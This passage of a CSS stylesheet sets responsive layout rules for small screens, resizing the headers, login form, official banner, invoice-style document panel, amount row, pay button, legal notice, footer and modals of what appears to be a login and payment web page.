        justify-content: center;
        padding-top: 6px;
        border-top: 1px solid var(--color-border);
    }
    .site-brand-icon { height: 44px; }
    .site-lang { padding: 3px 6px; font-size: 11px; }
    .site-brand-actions .btn { padding: 4px 10px; font-size: 11px; }

    .header {
        padding: 10px 12px;
        flex-wrap: wrap;
        gap: 8px;
    }
    .header-left { gap: 12px; flex-wrap: wrap; }
    .header-right { gap: 8px; }
    .header-logo-png { width: 32px; height: 32px; }
    .header-brand-logo { height: 24px; }
    .logo-text { font-size: 15px; }
    .nav { gap: 10px; }
    .nav a { font-size: 13px; }

    .official-banner {
        padding: 10px 14px;
        gap: 10px;
    }
    .official-banner-logo { width: 36px; height: 36px; }
    .official-banner-title { font-size: 14px; }
    .official-banner-subtitle { font-size: 10px; }

    .main-content { padding: 20px 12px; }

    .login-container { padding: 22px; }
    .login-title { font-size: 22px; }
    .login-intro { font-size: 13px; }

    .page-header { margin-bottom: 18px; }
    .page-title { font-size: 20px; }
    .page-subtitle { font-size: 13px; }

    .document-section { max-width: 100%; border-radius: 10px; }
    .document-header { padding: 12px 14px; gap: 10px; }
    .document-icon { width: 30px; height: 30px; }
    .document-title { font-size: 14px; }
    .document-body { padding: 14px; }
    .document-grid { grid-template-columns: 1fr 1fr; gap: 10px 12px; margin-bottom: 16px; }
    .document-label { font-size: 10px; letter-spacing: 0.04em; }
    .document-value { font-size: 12px; word-break: break-word; }

    .amount-row { padding: 12px 14px; margin-bottom: 16px; }
    .amount { font-size: 22px; }
    .currency { font-size: 14px; }

    .legal-notice { font-size: 11px; padding: 10px 12px; margin-bottom: 16px; }

    .pay-now-btn { padding: 12px; font-size: 14px; }

    .footer { padding: 18px 14px; }
    .footer-top, .footer-bottom { flex-direction: column; align-items: flex-start; }
    .footer-top { gap: 12px; padding-bottom: 12px; }
    .payment-logos { gap: 8px; }
    .payment-logos img { height: 20px; }
    .footer-nav { gap: 12px; }

    .panel-header { padding: 20px; }
    .btn-delete-all { position: static; margin-top: 12px; }

    .modal { padding: 20px; }
    .modal-title { font-size: 18px; }
}

@media (max-width: 400px) {
    .eb-header-inner { padding: 12px 16px; }
    .eb-brand-logo { height: 36px; }
    .eb-lang-btn {
        padding: 7px 14px;
        font-size: 13px;
        gap: 6px;
    }
    .eb-lang-arrow { width: 14px; height: 14px; }
    .eb-main { padding: 24px 16px; }
    .eb-login-title { font-size: 32px; }
    .eb-login-intro { font-size: 15px; margin-bottom: 28px; }
    .eb-form-group { margin-bottom: 20px; }
    .eb-form-label { font-size: 18px; margin-bottom: 8px; }
    .eb-login-actions { margin-top: 28px; }
    .eb-login-links { margin-top: 36px; }

    .site-header-inner {
        padding: 8px 12px;
        gap: 6px 8px;
    }
    .site-brand-icon { height: 36px; }
    .site-brand-text .site-brand-sub { display: none; }
    .site-brand-title { font-size: 10px; }
    .site-brand-logo { height: 16px; }
    .site-brand-actions .btn { padding: 4px 8px; font-size: 10px; }
    .site-lang { display: none; }

    .header {
        padding: 8px 10px;
        gap: 8px;
    }
    .header-brand-logo { height: 20px; }
    .logo-text { font-size: 13px; }
    .nav { display: none; }

    .official-banner { padding: 10px 12px; gap: 8px; }
    .official-banner-title { font-size: 13px; letter-spacing: 0.03em; }
    .official-banner-subtitle { font-size: 9px; letter-spacing: 0.04em; }

    .main-content { padding: 16px 10px; }

    .page-title { font-size: 18px; }
    .page-subtitle { font-size: 12px; }
    .document-body { padding: 12px; }
    .document-header { padding: 10px 12px; }
    .document-title { font-size: 13px; }
    .document-grid { grid-template-columns: 1fr; gap: 10px; }
    .document-label { font-size: 10px; }
    .document-value { font-size: 12px; }

    .amount-row {
        flex-direction: column;
        align-items: flex-start;
        gap: 4px;
    }
    .amount { font-size: 20px; }

    .legal-notice { font-size: 10px; line-height: 1.5; }
}
